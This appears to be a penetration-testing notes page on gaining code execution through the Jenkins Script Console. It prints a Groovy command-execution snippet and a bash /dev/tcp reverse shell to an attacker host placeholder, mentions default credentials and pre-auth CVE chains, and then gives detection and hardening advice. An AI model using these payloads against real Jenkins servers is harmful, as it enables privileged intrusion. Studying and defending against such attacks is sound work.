the_open_door
coffee
ESEN
← Back to index

Jenkins Script Console (Groovy RCE)

Jenkins is a continuous-integration server found in almost every development environment. Its classic weak spot is not a memory bug or an obscure injection but a legitimate feature: the Script Console, a web console that runs Groovy scripts inside the Jenkins controller runtime itself. Because Jenkins is usually running in the context of root (Linux) or SYSTEM (Windows), reaching that console almost always means command execution with the highest privileges on the machine.

Mechanism

Once authenticated as a user with administrative rights (or even anonymously on a misconfigured instance), the console lives at http://<ip>:8080/script. Groovy is a JVM language, so from there you can spawn operating system processes just like a web shell would. A minimal snippet to confirm execution:

def cmd = 'id'
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = cmd.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println sout

To jump straight to a reverse shell on a Linux target, just call Runtime.getRuntime():

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/<lhost>/<lport>;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

Against a Windows Jenkins you run cmd.exe the same way ("cmd.exe /c dir".execute()) or use a PowerShell download cradle to avoid touching disk.

Requirements

You need to reach the script console, which normally requires administrator credentials. In practice those come from default or weak credentials (admin:admin), password reuse, or open registration. There are also version-specific pre-auth RCE chains, such as CVE-2019-1003000 (with CVE-2018-1999002), which bypasses the Groovy sandbox at compile time and executes code unauthenticated on Jenkins 2.137; these are useful when the instance is old and you have no credentials.

How to detect it

The clearest signal is any access to the /script or /scriptText URL: there is no operational reason for a normal user to visit it. The Jenkins audit log (with the Audit Trail plugin) records console usage; at the host level, seeing the Jenkins Java process spawn children like /bin/bash, cmd.exe or powershell.exe gives the attack away, since a legitimate CI server almost never does that outside its own jobs.

Defence. Restrict the script console to administrators through the authorization matrix, disable anonymous access and open registration, run Jenkins under a least-privilege service account (not root/SYSTEM), and keep it patched to close the pre-auth RCEs. Related to command injection, Splunk RCE and malicious WAR deployment.